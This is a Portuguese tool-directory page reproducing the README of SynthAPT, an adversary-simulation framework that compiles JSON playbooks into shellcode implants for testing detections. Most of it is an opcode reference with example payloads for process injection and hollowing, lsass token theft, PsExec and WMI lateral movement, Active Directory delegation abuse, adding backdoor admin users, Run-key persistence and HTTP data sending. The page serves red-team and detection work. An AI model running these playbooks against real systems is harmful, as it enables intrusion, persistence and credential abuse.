Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
SynthAPT — Estrutura de simulação de adversários baseada em playbook que compila caminhos de ataque definidos em JSON em payloads de shellcode independentes de posição para validar detecções avançadas e agentes de investigação baseados em IA. | Kitploit
Ferramentas/GitHubGitHub/acedef/synthapt
Frameworks de Testes de PenetraçãoEscalada de PrivilégiosFrameworks de ExploraçãoGeração de PayloadsMovimento LateralShellcodePós-ExploraçãoComando e ControleRed TeamingSegurança de IAAtaque Adversário
23147há 4 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
acedef/synthapt

SynthAPT

Estrutura de simulação de adversários baseada em playbook que compila caminhos de ataque definidos em JSON em payloads de shellcode independentes de posição para validar detecções avançadas e agentes de investigação baseados em IA.

Ver Repositório

SynthAPT

Visão Geral

SynthAPT é um framework de simulação de adversários baseado em playbooks para replicar caminhos de ataque complexos. Ele é projetado para validar detecções avançadas e agentes de investigação baseados em IA. A ideia central é que o comportamento de malware pode ser expresso em JSON e compilado em malware funcional, permitindo o desenvolvimento rápido de cenários realistas usando LLMs.

O implante central é um payload de shellcode orientado por um interpretador de playbook. Um playbook pré-define todo o caminho de ataque e o implante o segue, movendo-se pelo ambiente via injeção de processo, movimento lateral, etc. Cada implante surge como uma thread independente com seu próprio conjunto de instruções, de modo que ataques em múltiplos estágios (ex: acesso inicial → escalonamento de privilégios → movimento lateral → exfiltração) são expressos como um grafo de implantes cooperantes, todos definidos antecipadamente no playbook. Isso tem três grandes vantagens:

  1. Payloads podem imitar malware real sem infraestrutura C2 - o caminho completo de ataque está embutido no payload e as interações C2 podem ser simuladas
  2. Payloads são repetíveis - eles executam todo o caminho de ataque de forma idêntica a cada vez, tornando-os adequados para testes de regressão de detecções
  3. LLMs podem traduzir relatórios de inteligência de ameaças e blogs diretamente em payloads funcionais, sem exigir expertise ofensiva ou construir malware do zero

Funcionalidades

  • Shellcode independente de posição - o implante é totalmente PIC e pode ser incorporado em qualquer loader ou injector
  • Biblioteca rica de opcodes - execução, manipulação de tokens, injeção de processo, hollowing de processo, movimento lateral, enumeração e modificação de AD, registro, serviços e mais
  • Payloads auto-replicantes - o implante pode se dropar como um EXE ou DLL com um conjunto diferente de tarefas, permitindo entrega em múltiplos estágios sem um C2
  • Formatos de saída flexíveis - compile um playbook para shellcode bruto, um PE EXE ou um PE DLL
  • Python em memória - um interpretador Python pode ser carregado de forma reflexiva em tempo de execução, expondo todas as capacidades do implante como um módulo Python para scripting flexível
  • Simulação de NPC - opcodes 'explorer' permitem descompactar e lançar payloads automaticamente de uma forma que reproduz artefatos de interação do usuário (quando injetado no Explorer.exe)
  • Editor TUI com agente LLM - um editor de playbook baseado em terminal com um agente Claude integrado que pode gerar e editar playbooks a partir de linguagem natural ou inteligência de ameaças
  • BOF Loader - funcionalidades podem ser estendidas com arquivos Beacon Object padrão

Compilação a partir do Código Fonte

Se você não quiser usar o release, pode compilar da seguinte forma:

  1. cargo
  2. rustup
  3. binutils-mingw-w64-x86-64```bash cargo install cargo-make rustup toolchain install nightly rustup target add x86_64-pc-windows-gnu --toolchain nightly
    sudo apt install gcc-mingw-w64-x86-64
root@kitploit:~
Compile com cargo make:```bash
cargo make build
./target/release/synthapt

Isso compilará o shellcode e o editor.

Uso

Executar o SynthAPT sem nenhum comando o levará ao editor. Você pode fornecer uma chave de API do Claude e ver as alterações conforme você faz perguntas.```bash SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload

root@kitploit:~
Se você quiser usar outro LLM ou uma assinatura, pode executar `synthapt export-skill` e usar isso com qualquer configuração de codificação que tiver.

Isso deve gerar um playbook JSON. Compile-o em um payload com o comando compile:```bash
Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Referência de Opcodes

Constantes podem ser definidas como strings, objetos hex, ou objetos base64:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]

root@kitploit:~
---

### end (0x00)
Fim do conjunto de tarefas. Adicionado automaticamente pelo compilador - você não precisa adicioná-lo.

---

### store_result (0x01)
Armazenar o resultado da última operação em uma variável.

| Campo | Tipo | |
|-------|------|-|
| var | u16 | **obrigatório** |```json
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

Retorna os bytes atuais do shellcode com um ID de tarefa opcional e/ou valor mágico inserido.

CampoTipo
tasku8opcional
magicu32 string hexadecimal ou númeroopcional
root@kitploit:~
### sleep (0x03)
Dorme pelo número de milissegundos fornecido.

| Campo | Tipo | |
|-------|------|-|
| ms | u32 | **obrigatório** |```json
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

Executa um comando via cmd.exe.

CampoTipo
commandstringrequired
{ "op": "run_command", "command": "whoami /all" }
root@kitploit:~
---

### get_cwd (0x05)
Obter o diretório de trabalho atual. Sem argumentos.```json
{ "op": "get_cwd" }

read_file (0x06)

Lê um arquivo e retorna seu conteúdo.

CampoTipo
caminhostringobrigatório
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }
root@kitploit:~
---

### write_file (0x07)
Escreve bytes em um arquivo.

| Campo | Tipo | |
|-------|------|-|
| path | string | **obrigatório** |
| content | bytes | *opcional* (arquivo vazio se omitido) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

Exibe o código de status de uma variável (0 = sucesso, diferente de zero = erro).

CampoTipo
varu16obrigatório
{ "op": "check_error", "var": 0 }
root@kitploit:~
---

### conditional (0x09)
Ramificar para diferentes índices de tarefa com base no estado da variável.

| Campo | Tipo | |
|-------|------|-|
| mode | `"data"` ou `"error"` | **obrigatório** |
| var1 | u16 | **obrigatório** |
| var2 | u16 | *opcional* (comparar duas variáveis em vez de verificação única) |
| true | u16 | **obrigatório** (índice da tarefa se a condição for verdadeira) |
| false | u16 | **obrigatório** (índice da tarefa se a condição for falsa) |

`true_target` e `false_target` são aceitos como aliases para `true` e `false`.

Modos de variável única:
- `"data"` — verdadeiro se var1 tiver dados não vazios
- `"error"` — verdadeiro se o status de var1 for 0 (sucesso)

Modos de duas variáveis (var2 presente):
- `"data"` — verdadeiro se os dados de var1 forem iguais aos de var2
- `"error"` — verdadeiro se o código de erro de var1 for igual ao de var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

Define uma variável para um valor literal.

CampoTipo
varu16obrigatório
dadosbytesopcional (vazio se omitido)

Valores de string literal e hex/base64 são armazenados com um prefixo de resultado de 5 bytes para que pareçam resultados normais de operação quando lidos de volta. Referências de variável ($n) e constante (%n) são passadas diretamente como estão.```json { "op": "set_var", "var": 0, "data": "hello world" } { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

root@kitploit:~
### print_var (0x0B)
Imprime os conteúdos de uma variável para stdout (depuração). Omita `var` para imprimir o último resultado da operação.

| Campo | Tipo | |
|-------|------|-|
| var | u16 | *opcional* (imprime o último resultado se ausente) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

Salto incondicional para um índice de tarefa dentro do conjunto atual de tarefas.

CampoTipo
targetu16obrigatório
{ "op": "goto", "target": 2 }
root@kitploit:~
---

### migrate (0x0D)
Injetar shellcode em um processo que corresponda a uma string de busca ou PID.

| Campo | Tipo | |
|-------|------|-|
| task_id | u8 | **obrigatório** |
| search | string ou número | *opcional* (vazio = sem busca; número = PID alvo) |
| magic | string hex ou número u32 | *opcional* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

Lista processos em execução. Retorna linhas separadas por tabulações: pid\timage\tcmdline\n. Sem argumentos.```json { "op": "list_procs" }

root@kitploit:~
---

### get_const (0x0F)
Carregar uma constante no último resultado. Aceita `index` ou `const_idx` como nome do campo.

| Campo | Tipo | |
|-------|------|-|
| index | u16 | **obrigatório** |```json
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

Execute um comando via WMI, opcionalmente em um host remoto.

root@kitploit:~
### http_send (0x11)
Enviar uma requisição HTTP/S.

| Campo | Tipo | |
|-------|------|-|
| host | string | **obrigatório** |
| method | string | *opcional* (padrão: `"GET"`) |
| port | u16 | *opcional* (padrão: `80`) |
| path | string | *opcional* (padrão: `"/"`) |
| secure | bool | *opcional* (padrão: `false`) |
| body | bytes | *opcional* (vazio se omitido) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }

sacrificial (0x12)

Cria um processo suspenso, injeta shellcode e o retoma.

root@kitploit:~
---

### redirect_stdout (0x13)
Redireciona stdout para um arquivo ou pipe nomeado. A saída subsequente do `run_command` vai para lá.

| Campo | Tipo | |
|-------|------|-|
| path | string | **obrigatório** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }

shellcode_server (0x14)

Inicia um servidor TCP que fornece shellcode aos clientes conectados. Cada cliente recebe uma cópia com um valor mágico incremental.

FieldType
portu16obrigatório
magic_baseu32 string hexadecimal ou número
root@kitploit:~
---

### resolve_hostname (0x15)
Resolve um nome de host para uma string de endereço IPv4.

| Campo | Tipo | |
|-------|------|-|
| hostname | string | **obrigatório** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }

psexec (0x16)

Copia um binário para um host remoto via SMB e executa-o como um serviço (movimento lateral estilo PsExec).

root@kitploit:~
---

### generate_exe (0x17)
Gere um executável PE com o shellcode e bytecode atuais incorporados.

| Field | Type | |
|-------|------|-|
| task_id | u8 | **obrigatório** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }

run_bof (0x18)

Executa um Arquivo de Objeto Beacon (BOF).

root@kitploit:~
---

### query_ldap (0x19)
Consulta um diretório LDAP.

| Campo | Tipo | |
|-------|------|-|
| base | string | **obrigatório** (DN base) |
| filter | string | **obrigatório** |
| scope | u8 | *opcional* (padrão: `2` = subárvore; `0` = base, `1` = um nível) |
| attribute | string | *opcional* (vazio = retorna todos os atributos) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }

set_ad_attr_str (0x1A)

Define um atributo do Active Directory para um valor string.

root@kitploit:~
---

### set_ad_attr_bin (0x1B)
Define um atributo do Active Directory para um valor binário. Passe um valor vazio para apagar o atributo.

| Campo | Tipo | |
|-------|------|-|
| dn | string | **obrigatório** |
| attr | string | **obrigatório** |
| value | bytes | **obrigatório** (vazio = apagar atributo) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }

portscan (0x1C)

Escaneia portas TCP em um ou mais alvos. Retorna linhas host\tport\n apenas para portas abertas.

root@kitploit:~
---

### set_user_password (0x1D)
Definir a senha de um usuário local ou de domínio via NetUserSetInfo.

| Campo | Tipo | |
|-------|------|-|
| username | string | **obrigatório** |
| password | string | **obrigatório** |
| server | string | *opcional* (vazio = máquina local) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }

add_user_to_localgroup (0x1E)

Adiciona um usuário a um grupo local via NetLocalGroupAddMembers.

root@kitploit:~
### remove_user_from_localgroup (0x1F)
Remove um usuário de um grupo local via NetLocalGroupDelMembers.

| Campo | Tipo | |
|-------|------|-|
| group | string | **obrigatório** |
| username | string | **obrigatório** |
| server | string | *opcional* (vazio = máquina local) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }

get_user_sid (0x20)

Pesquisa a string SID de um usuário via LookupAccountName.

CampoTipo
usernamestringobrigatório
serverstringopcional (vazio = máquina local)

Retorna uma string SID, ex.: S-1-5-21-....```json { "op": "get_user_sid", "username": "Administrator" } { "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }

root@kitploit:~
---

### add_user_to_group (0x21)
Adicionar um usuário a um grupo de domínio via NetGroupAddUser.

| Field | Type | |
|-------|------|-|
| group | string | **obrigatório** |
| username | string | **obrigatório** |
| server | string | *opcional* (vazio = DC local) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }

remove_user_from_group (0x22)

Remove um usuário de um grupo de domínio via NetGroupDelUser.

root@kitploit:~
---

### create_rbcd_ace (0x23)
Constrói um ACE binário para Delegação Restrita Baseada em Recursos. O resultado é adequado para escrita diretamente em `msDS-AllowedToActOnBehalfOfOtherIdentity`.

| Campo | Tipo | |
|-------|------|-|
| sid | string | **obrigatório** (string SID, ex. de `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }

reg_create_key (0x24)

Criar uma chave de registro.

CampoTipo
keystringobrigatório (caminho completo, por exemplo "HKLM\\SOFTWARE\\MyApp")
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }
root@kitploit:~
---

### reg_delete_key (0x25)
Excluir uma chave do registro.

| Campo | Tipo | |
|-------|------|-|
| key | string | **obrigatório** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }

reg_set_value (0x26)

Define um valor de registro.

root@kitploit:~
### reg_query_value (0x27)
Consulta um valor do registro. Retorna os bytes brutos do valor.

| Campo | Tipo | |
|-------|------|-|
| key | string | **obrigatório** |
| value_name | string | **obrigatório** (string vazia para o valor padrão) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }

make_token (0x28)

Cria um token de impersonação via LogonUser e faz a impersonação dele. O tipo de logon padrão é 9 (LOGON32_LOGON_NEW_CREDENTIALS), que utiliza as credenciais fornecidas para conexões de rede de saída, mantendo o token local inalterado.

root@kitploit:~
---

### impersonate_process (0x29)
Abra um token de processo e personifique-o. Útil para escalada de privilégios ou roubo lateral de tokens.

| Campo | Tipo | |
|-------|------|-|
| search | string | **obrigatório** (corresponde ao nome da imagem ou linha de comando) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }

enable_privilege (0x2A)

Habilitar um privilégio em um token de processo.

root@kitploit:~
### list_process_privs (0x2B)
Lista nomes de privilégios e seu estado ativado/desativado para um processo. Retorna `name\tenabled\n` ou `name\tdisabled\n`.

| Campo | Tipo | |
|-------|------|-|
| search | string | *opcional* (vazio = processo atual) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }

list_thread_privs (0x2C)

Lista privilégios no token da thread atual. Retorna o mesmo formato que list_process_privs. Sem argumentos.```json { "op": "list_thread_privs" }

root@kitploit:~
### delete_file (0x2D)
Excluir um arquivo.

| Campo | Tipo | |
|-------|------|-|
| path | string | **obrigatório** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }

revert_to_self (0x2E)

Reverter para o token de processo original, encerrando qualquer impersonação. Sem argumentos.```json { "op": "revert_to_self" }

root@kitploit:~
---

### start_service (0x2F)
Iniciar um serviço do Windows.

| Field | Type | |
|-------|------|-|
| service_name | string | **obrigatório** |
| target | string | *opcional* (vazio = máquina local) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }

delete_service (0x30)

Eliminar um serviço do Windows.

CampoTipo
service_namestringobrigatório
root@kitploit:~
---

### create_thread (0x31)
Gerar uma nova thread no processo atual executando uma cópia do shellcode. Se `magic` for omitido, verifica os heaps do processo para encontrar um magic único que não colida com instâncias existentes.

| Campo | Tipo | |
|-------|------|-|
| task | u8 | *opcional* (omitir ou `255` = mesmo conjunto de tarefas da thread atual) |
| magic | u32 string hexadecimal ou número | *opcional* (auto-detectado se omitido) |

> **Aviso**: omitir `task` executa o mesmo conjunto de tarefas em uma nova thread. Se o conjunto de tarefas chamar `create_thread` novamente, isso causa threads infinitas.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }

generate_dll (0x32)

Gera uma DLL com o shellcode atual incorporado. Executa o shellcode em DLL_PROCESS_ATTACH e exporta uma função nomeada que também executa o shellcode.

root@kitploit:~
---

### shell_execute (0x33)
Executa um arquivo usando ShellExecuteEx via COM. O processo resultante parece ser iniciado pelo shell.

| Field | Type | |
|-------|------|-|
| path | string | **obrigatório** |
| verb | string | *opcional* (ex.: `"open"`, `"runas"`) |
| args | string | *opcional* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }

shell_extract (0x34)

Extrai um arquivo ZIP usando o Shell do Windows.

CampoTipo
pathstringobrigatório (caminho para o arquivo ZIP)

Extrai para uma pasta com o mesmo nome do ZIP (sem extensão) no mesmo diretório.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }

root@kitploit:~
### shell_execute_explorer (0x35)
Executar um arquivo via explorer.exe como processo pai usando COM. O processo gerado parece ter sido iniciado pelo usuário a partir do Explorer.

| Field | Type | |
|-------|------|-|
| path | string | **obrigatório** |
| verb | string | *opcional* |
| args | string | *opcional* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }

load_library (0x36)

Carregar uma DLL no processo atual via LoadLibraryW.

CampoTipo
pathstringobrigatório
{ "op": "load_library", "path": "C:\Users\Public\payload.dll" }
root@kitploit:~
---

### pyexec (0x37)
Baixar uma DLL Python de uma URL (armazenada em cache na memória após o primeiro download) e depois executar um script Python. Expõe um módulo `agent` com ligações para todos os opcodes do agente.

| Field | Type | |
|-------|------|-|
| url | string | *opcional* (URL para DLL Python; vazio = usar Python já carregado) |
| script | string | *opcional* (código Python para executar; vazio = inicializar sem executar) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }

hollow (0x38)

Process hollowing: gerar um processo legítimo suspenso, sobrescrever seu ponto de entrada com shellcode e retomar.

root@kitploit:~
---

### migrate_apc (0x39)
Cria um processo suspenso, aloca memória RWX, escreve shellcode, enfileira um APC para a thread principal e retoma. Retorna o PID do processo criado.

| Campo | Tipo | |
|-------|------|-|
| image | string | **obrigatório** |
| task_id | u8 | **obrigatório** |
| magic | u32 hex string or number | *opcional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }

register_service (0x3A)

Registra o processo atual como um serviço do Windows chamando StartServiceCtrlDispatcher. Deve ser chamado cedo quando o processo é iniciado pelo Gerenciador de Controle de Serviços (SCM), caso contrário, o SCM o encerrará após ~30 segundos. Executa a comunicação do SCM em uma thread em segundo plano para que a tarefa principal continue normalmente.

CampoTipo
service_namestringobrigatório (apelido: name)
{ "op": "register_service", "service_name": "MySvc" }
root@kitploit:~
### exit_process (0x3B)
Termina o processo atual.

| Campo | Tipo | |
|-------|------|-|
| exit_code | u32 | *opcional* (padrão: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }

hollow_apc (0x3C)

Cria um processo suspenso e injeta shellcode via APC. Semelhante a migrate_apc, mas com spoofing opcional de PPID.

root@kitploit:~
---

### frida_hook (0x3F)
Baixe uma DLL do gadget Frida a partir de uma URL (armazenada em cache após o primeiro download) e instale um hook JavaScript.

| Campo | Tipo | |
|-------|------|-|
| url | string | **obrigatório** |
| script | string | **obrigatório** (JavaScript usando a API do Frida) |
| name | string | *opcional* (nome do hook para referência posterior com `frida_unhook`) |
| callback_host | string | *opcional* (host para enviar mensagens `send()` via HTTP POST) |
| callback_port | u16 | *opcional* |
| batch_size | u32 | *opcional* (mensagens por lote HTTP POST; padrão: `50`) |
| flush_interval | u32 | *opcional* (intervalo de descarga em ms; padrão: `5000`) |

Mensagens enviadas via `send()` em JavaScript são postadas em `callback_host:callback_port/frida` ou escritas na saída padrão (stdout) se nenhum callback estiver configurado.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }

frida_unhook (0x40)

Descarrega um hook do Frida. Sem argumentos, descarrega todos os hooks.

root@kitploit:~
---

### kill (0x42)
Matar uma instância de agente em execução pelo seu valor mágico.

| Campo | Tipo | |
|-------|------|-|
| magic | u32 hex string or number | *opcional* (omitir para matar a instância atual) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }

http_beacon (0x43)

Conecta a um servidor C2 HTTP e consulta por tarefas de bytecode.

root@kitploit:~
---

### mem_read (0x44)
Ler bytes brutos de um endereço de memória no processo atual ou remoto.

| Campo | Tipo | |
|-------|------|-|
| address | hex string | **obrigatório** (endereço como caracteres hexadecimais, ex. `"7FFE0030"`; o prefixo `0x` é removido automaticamente) |
| size | u32 | **obrigatório** |
| pid | u32 | *opcional* (processo remoto; omitir para leitura local) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }

dll_list (0x45)

Percorre a PEB LDR InLoadOrderModuleList e retorna os módulos carregados. Retorna Vec<ProcessResult<ModuleInfo>> serializado em postcard.

CampoTipo
pidu32 ou "all"
root@kitploit:~
---

### mem_map (0x46)
Enumera regiões de memória virtual via `VirtualQuery`/`VirtualQueryEx`. Retorna `Vec<ProcessResult<MemRegion>>` serializado em postcard. Ignora regiões FREE; regiões IMAGE incluem nome do módulo e seção PE.

| Campo | Tipo | |
|-------|------|-|
| pid | u32 ou `"all"` | *opcional* (omitir = processo atual; `"all"` = todo processo acessível) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }

malfind (0x47)

Encontra regiões de memória executável privada confirmadas — indicadores de shellcode injetado ou DLLs reflexivas. Ignora páginas todas zero e anota regiões com cabeçalhos MZ. Retorna Vec<ProcessResult<MalfindHit>> serializado em postcard.

FieldType
pidu32 or "all"
root@kitploit:~
---

### ldr_check (0x48)
Fazer referência cruzada das regiões de memória IMAGE com a lista de módulos PEB para encontrar DLLs não vinculadas ou ocultas — regiões com cabeçalhos MZ não presentes em `InLoadOrderModuleList`. Retorna `Vec<ProcessResult<LdrCheckHit>>` serializado em postcard.

| Campo | Tipo | |
|-------|------|-|
| pid | u32 ou `"all"` | *opcional* (omitir = processo atual; `"all"` = todo processo acessível) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }

Detecção

Como todos os frameworks, o implante possui uma pegada distinta na memória e muitas strings em texto simples que o denunciam. Você pode construir assinaturas a partir do arquivo shellcode base: out/shellcode.bin

Atribuição

Este projeto estende Rustic64Shell por safedev.

A DLL Python carregada reflexivamente é de farfella

Baixar ferramenta
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }
CampoTipo
commandstringobrigatório
hoststringopcional (vazio = localhost)
userstringopcional (vazio = usuário atual)
passstringopcional (vazio = credenciais atuais)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" }
CampoTipo
imagestringobrigatório
task_idu8obrigatório
pipe_namestringopcional (pipe nomeado para captura de saída, sem o prefixo \\.\pipe\)
searchstringopcional (nome do processo/linha de comando para falsificar o PPID)
no_killboolopcional (padrão: false — o processo é encerrado após a injeção)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }
opcional
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }
CampoTipo
targetstringobrigatório (nome do host ou IP)
service_namestringobrigatório
display_namestringobrigatório
binary_pathstringobrigatório (caminho no host remoto)
service_binbytesobrigatório (dados binários para escrever)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }
CampoTipo
bof_databytesobrigatório
entrystringopcional (padrão: "go")
inputsbytesopcional (argumentos BOF, vazio se omitido)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }
CampoTipo
dnstringobrigatório
attrstringobrigatório
valuestringobrigatório
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }
CampoTipo
targetsstringobrigatório (IPs separados por vírgula, CIDRs, faixas ou nomes de host; alias: host)
portsstringobrigatório (portas ou faixas separadas por vírgula, ex.: "22,80,443,8000-8100")
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }
CampoTipo
groupstringobrigatório
usernamestringobrigatório
serverstringopcional (vazio = máquina local)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }
FieldType
groupstringobrigatório
usernamestringobrigatório
serverstringopcional (vazio = DC local)
{ "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
CampoTipo
keystringobrigatório
value_namestringobrigatório (string vazia para valor padrão)
valuebytesobrigatório
value_typestringopcional (padrão: "REG_SZ"; também: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }
CampoTipo
usernamestringobrigatório
passwordstringobrigatório
domainstringopcional (vazio = workgroup ou formato UPN)
logon_typeu8opcional (padrão: 9; 2 = interativo, 3 = rede)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }
CampoTipo
privilegestringobrigatório (alias: priv_name)
searchstringopcional (vazio = processo atual)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }
targetstringopcional (vazio = máquina local)
{ "op": "delete_service", "service_name": "MySvc" }
{ "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" }
CampoTipo
task_idu8obrigatório
export_namestringopcional (padrão: "Run")
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }
CampoTipo
imagestringobrigatório
task_idu8obrigatório
searchstringopcional (nome do processo/cmdline para falsificar PPID)
{ "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 }
{ "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" }
